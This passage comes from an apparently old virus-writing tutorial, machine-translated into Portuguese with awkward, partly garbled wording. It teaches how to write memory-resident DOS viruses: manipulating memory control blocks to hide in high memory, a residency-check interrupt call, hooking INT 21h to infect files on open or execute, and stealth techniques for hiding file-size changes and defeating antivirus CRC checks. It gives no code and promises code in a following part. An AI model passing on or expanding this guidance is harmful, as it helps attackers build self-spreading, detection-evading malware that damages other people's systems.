antes de MCB 2, aparecendo buracos no desenvolvimento de
memória. A estrutura para o MCB eh como segue:
Offset Tamanho Significando
------ -------
------------
0
BYTE 'M' ou 'Z'
1
WORD Processo ID (PSP do dono do bloco)
3
WORD Tamanho em paragrafos
5 3 BYTES
Reservados (Nao usado)
8 8 BYTES
DOS 4+ usa esse. Yay.
Se o byte em offset 0 eh 'M', entao
o MCB não é o fim da
corrente. O 'Z' denota o fim do MCB corrente. Pode
ser mais do que
um MCB presente na memoria por vez e esse "aspecto" eh usado
pelos virus para ir residente na memória alta. O word
em offset 1 eh
normalmente igual ao PSP do dono do MCB. Se ele eh
0, isso
significa que o bloco eh livre e eh disponivel para usar pelos
programas. Um valor de 0008h nesse campo denota DOS como
o
dono do bloco. O valor em
offset 3 NAO inclui o paragrafo alocado para o MCB.
Ele reflete o
valor passado para as funções de alocação
do DOS. Todos os campos
localizados depois do tamanho do bloco não tem utilidade
e voce
pode ignorar eles.
Quando um arquivo COM eh carregado, todas a
memória
disponivel eh alocado para ele pelo DOS. Quando um arquivo
EXE
eh carregado, a quantidade de memoria especificada no cabeçalho
do
arquivo EXE eh alocada. Tem tanto um valor minimo e
um maximo
no cabecalho. Geralmente, o linkador ira mudar o maximo valor
para
FFFFh. Se o programa deseja alocar memoria, ele deve primeiro
encolher o principal pedaço de memoria pertencente
pelo programa
para o minimo requerido. De outro modo, a tentativa patético
de
alocação de memoria ira falhar miseravelmente.
Uma vez que programas normalmente não
supostos para manipular
MCBs diretamente, o controlador da memória do DOS chama
(48h -
4Ah) para retornar e aceitar valores do primeiro paragrafo de
memória usável do programa, ou seja,
o paragrafo de memoria
imediatamente depois do MCB. É importante manter isso
em mente
quando escrever código manipulador de MCB.
MÉTODOS DE FICAR RESIDENTE
Tem uma variedade de estratégias sobre
residência em memoria. A
primeira eh o uso das rotinas TSR em interrupção
do DOS
tradicional, tanto INT 27h ou INT 21h/Funcao 31h. Essas
rotinas
sao indesejaveis quando escrever virus, porque eles nao retornam
o
controle para o programa depois da execucao. Adicionalmente,
eles
aparecem como "andarilhos na memória" em programas como
PMAP
e MAPMEM.
A alternativa viral tradicional para usar a
interrupção do DOS eh, é
claro, escrever uma nova rotina de residencia. Quase todo
vírus
moderno usa uma rotina para "carregar na memória alta,"
ou seja,
para carrega si mesmo dentro da maior localização
de memória
possivel. Por exemplo, em um sistema com 640K, o virus podera
carregar a si mesmo apenas dentro dos 640K mas acima da area
reservada pelos DOS para uso dos programas. Embora
isso é
tecnicamente nao a área mais
alta na memoria, ele deve ser referido como tal em um remanescente
de esse arquivo em ordem de acrescentar confusao e caos geral dentro
de outros arquivos. Carregar na memória alta pode
ser facilmente
realizado atraves de uma serie de chamadas de interrupcoes através
de
realocacao e alocacao. O método geral eh:
1. Encontrar o tamanho da memória
2. Encolher a memória do programa para
o total de memoria -
tamanho do virus
3. Alocar memoria para o virus (esse ira ser
na área de memoria
alta)
4. Mudar o MCB do programa para o fim da corrente
(Marque ele
com 'Z')
5. Copiar o virus para a memória alta
6. Salve os vetores de interrupcao antigo se
o virus deseja
acorrentar vetores
7. Mudar os vetores de interrupcao para a localização
apropriada na
memória alta
Quando calcular tamanhos de memoria, lembre
que todos os
tamanhos estao em paragrafos. O MCB deve tambem ser considerado,
como ele pega mais de um paragrafo de memoria. A vantagem
desse
metodo eh que ele não faz, como um regra, aparecer como
um
andarilho de memória. Entretanto, o total de memória
do sistema
mostrado por alguns programas como MEM irá decrementar.
Uma terceira alternativa eh nao alocar tudo.
Alguns virus copia a
si mesmo para a memoria dentro dos 640K, mas falha para alocar
a
memoria. Isso pode ter conseqüências desastrosas,
como qualquer
programa carregado pelos DOS pode possivelmente usar essa
memoria. Se isso esta corrompido, resultados imprevisiveis
podem
ocorrer. Embora nenhuma perda de memória eh mostrada
pelo
MEM, o possivel caos resultante desse metodo eh claramente
nao
aceitavel. Alguns virus
usam memoria livre. Por exemplo, a parte superior da tabela
de
interrupcao ou partes e memória de video tudos pode ser
usado com
alguma seguranca que a memoria não irá ser corrompido.
Uma vez
de novo, essa tecnica eh tanto indesejavel como é extremamente
instavel.
Este tecnicas não sao os únicos
metodos de residencia. Eu tenho
visto alguns metodos bizarrosde ficar residente nos buffers de
disco
internos do DOS. Onde ha memoria, ha um modo.
É muito desejavel saber se o virus já
é residente. O modo mais
simples de fazer isso eh escrever função de checagem
funcao no
código do handler da interrupção. Por
exemplo, uma chamada para a
interrupcao 21h com o registrador ax em 7823h pode retornar um
valor 4323h em ax, significando residencia. Quando
usar esse
checagem, é importante garantir que nao tenha possíveis
conflitos
com os outros programas ou com o próprio DOS.
POR QUE RESIDENTE?
Vírus residente em memoria tem muitos
vantagens distinguiveis
sobre virus runtime.
Tamanho
Virus residente em memória
sao muitas vezes menores do que os
vírus runtime uma vez que eles nao precisam incluir
codigo para
procurar por arquivos para infectar.
Efetividade
Eles sao muitas vezes mais
virulentos, uma vez que ate o
comando DIR "infectado." Geralmente, a tecnica padrao eh
cada
arquivo que é executado enquanto o virus está residente.
Velocidade
Vírus runtime infectam
antes de um arquivo ser executado. Um
virus pobre ou um grande vírus runtime irá causar
um noticiavel
tempo de espera antes da execucao facilmente observado pelos
usuarios. Adicionalmente, isso causa uma grande
atividade no disco
que é detrimental para a espalhação do virus.
Camuflagem
O manipulacao de
interrupcoes permite por o implementacao
de camuflagem tecnicas, tal como o escondendo
de mudancas em
arquivo tamanho em diretorio listagens e em-o-voo desinfeccao.
Assim eh maisdifícil para o usuário médio
detectar o virus.
Adicionalmente, o vírus astuto pode ate se esconder
da checagem de
CRC, obliterando assim, as técnicas de detecção
de anti-virus.
ESTRUTURA DO VÍRUS RESIDENTE
Com a informação preliminar fora
do caminho, a discussao pode
agora passar para mais virus-relacionado, certamente com
mais
tópicos interessantes. A estrutura do vírus
residente em memoria eh
radicalmente diferente do que do vírus runtime. Isso
simplesmente
consiste de um curto pedaço de programa usado para determinar
se o
virus ja é residente. Se ele ainda não está
na memoria, o código
carrega ele na memoria atraves de qualquer metodo. Finalmente,
o
pedaço de código restaura o controle para o programa
servidor. O
resto do codigo do vírus residente consiste de handlers
de interrupcao
onde o resto do trabalho eh feito.
O pedaço de código eh apenas a
porção do virus que precisa ter os
calculos do offset delta. O handler da interrupcao idealmente ira
existir em um localizacao que não ira requerer tais fixações
mundanas. Uma vez carregado, não deve mais haver uso
do offset
delta, como a localização das variaveis eh preset.
Desde que o código
do vírus residente virus deve originar
em offset 0 do bloco de memória, o código original
deve estar no
offset 0. Não inclua um jmp para o código virus
no carregador
original do arquivo. Quando mover o virus para a memoria,
simplesmente mova o inicio para [bp+startvirus] e os offsets
devem
trabalhar fora quando ele estão no arquivo fonte.
Isso simplifica (e
encurta) o codigo do handler da interrupcao.
Muitos coisas devem ser consideradas em escrever
os handlers da
interrupcao para um virus. Primeiro, o virus deve preservar
os
registradores. Se o virus usa preexecucao chaining, ele deve
salvar os
registradores depois de chamar o handler original. Se o virus
usa
posexecucao chaining, ele deve restaurar os registradores originais
da
chamada de interrupcao antes do call para o handler original.
Segundo, isso eh mais dificil, embora nao impossivel, para
implementar a encriptacao com vírus residente em memória.
O
problema é que se o handler da interrupcao eh encriptado,
então esse
handler da interrupcao controlador não pode ser chamado
antes da
função de decriptacao. Isso pode ser um grande
desgosto para a
pessoa. O modo mais fácil é simplesmente
nao incluir encriptacao.
Eu prefero modo facil. Os leitores que preferem o modo
não-fácil
podem desejar que a memoria simultaneamente mantenha
duas
copias do virus, encriptar a cópia cópia não
usada, e usa a cópia
encriptada como o buffer de escrita. É claro, o vírus
pode então pegar
duas vezes a quantidade de memoria que ele pode requerer
normalmente. O uso de encriptacao eh um problema de escolha
pessoal e facilidade.
Outro fator importante para considerar
quando escrever handlers
de interrupcao, especialmente aqueles de interrupções
de BIOS, eh um
pedaço do DOS com reentrancia. Isso significa que
funções DOS
funcoes nao podem ser executadas enquanto DOS está no meio
do
processamento de um requerimento de interrupcao. Isso acontece
porque DOS configura sobre o mesmo apontador de pilha cada vez
que ele eh chamado, e chamando a segunda interrupção
DOS que ira
causar o
processamento de um código para sobreescrever a pilha do
outro,
causando resultados inprevisíveis, mas muitas vezes terminal.
Isso
aplica-se indiferente de que interrupções do DOS
sao chamadas, mas
isso eh especialmente verdadeiro para a interrupcao 21h, desde
que
ele tente muitas vezes para usar ele de dentro de um handler de
interrupcao. A menos que ele esteja certo que o DOS não
está
processando um requerimento anterior, NÃO faça uso
de uma função
do DOS no handler da interrupcao. Isso eh possivel para usar
as
"mais baixas" funções da interrupcao 21h sem
medo de corromper a
pilha, mas eles sao basicamente sem utilidade, realizar funcoes
facilmente acessado pela chamada da BIOS chama ou acesso
direto
do hardware. Essa discussão inteira apenas aplica
para capturar
interrupções nao-DOS. Ao capturar interrupções
do DOS vem a
seguranca que DOS não está executando em qualquer
outro lugar,
uma vez que isso podera entao estar corrompendo sua própria
pilha,
que podera ser a ocorrência mais infeliz de fato.
A interrupção mais comum
para capturar eh, naturalmente, a
interrupcao 21h. A Interrupcao 21h eh chamada por todo programa
DOS. A estratégia usual eh por um virus para encontrar
potenciais
arquivos para infectar ao interceptar certas chamadas DOS. As
funções primárias para capturar incluem o
find first, find next, aberto,
e comandos de executar.
Ao usar pre e posexecucao chaining, um virus pode facilmente
encontrar o arquivo que foi encontrado, aberto, ou executado e
infectar ele. Os truque é simplesmente encontra o
método apropriado
para isolar o nome do arquivo. Uma vez que isso é
feito, o resto é
essencial idêntico para o vírus runtime.
Quando chamar interrupcoes capturadas pelo código
de
interrupção, tenha certeza que o virus não
capture esse call em
particular, para que nao resulte em um infinito loop.
Por exemplo,
se a função de executar funcao eh capturada e o virus
deseja, por
alguma razao, executar um particular arquivo usando essa funcao,
ele
NÃO deve usar um simples "int 21h" para fazer
o trabalho. Em
casos tais como esse onde o problema não pode ser evitado,
simplesmente simule a chamada para a interrupcao com uma
combinação de pushf/call.
A estrutura básica do handler da interrupcao
eh completamente
simples. O controlador primeiro mostra os registradores para
cada
chamada de identificacao ou para um função capturada
funcao tal
como executar. Se ele não for um dos mostrado acima,
o handler irá
jogar o controle de volta para o handler original da interrupcao.
Se
isso eh um requerimento de identificacao, o handler simplesmente
configura os registradores apropriados e retorna para o programa
que
chamou. De outro forma, o virus deve decidir se as chamadas
de
requerimento é para pre ou posexecucao chaining. Indiferente
de qual
ele usa, o virus deve encontrar o nome do arquivo e usar
esse
informacao para infectar. O nome do arquivo pode ser encontrado
tanto atraves do uso de registradores como ponteiros ou procurando
atraves de certas estrutura de dados, tal como FCBs. A rotina
infecção eh a mesma como aquela para vírus
nao residentes, com a
excecao daquilo mostrado nos parágrafos anteriores.
O QUE ESTÁ POR VIR?
Eu apologiso por algumas sentenças criticas
usadas no guia, mas
eu sou um programador, nao um escritor. Minha única
sugestao eh
para ler tudo sobre o assunto ate ele fazer sentido. Eu decidi
fazer
essa edicao do guia com teoria antes do codigo. Na proxima
parte, eu
irei apresentar todo o codigo necessario para escrever um vírus
residente em memoria, ao longo de algumas tecnicas que podem ser
usadas. Mais toda a informacao necessaria para escrever um
vírus
residente irá ser incluida nessa edição; é
apenas um problema de
implementação. Tenha bytes de diversão!
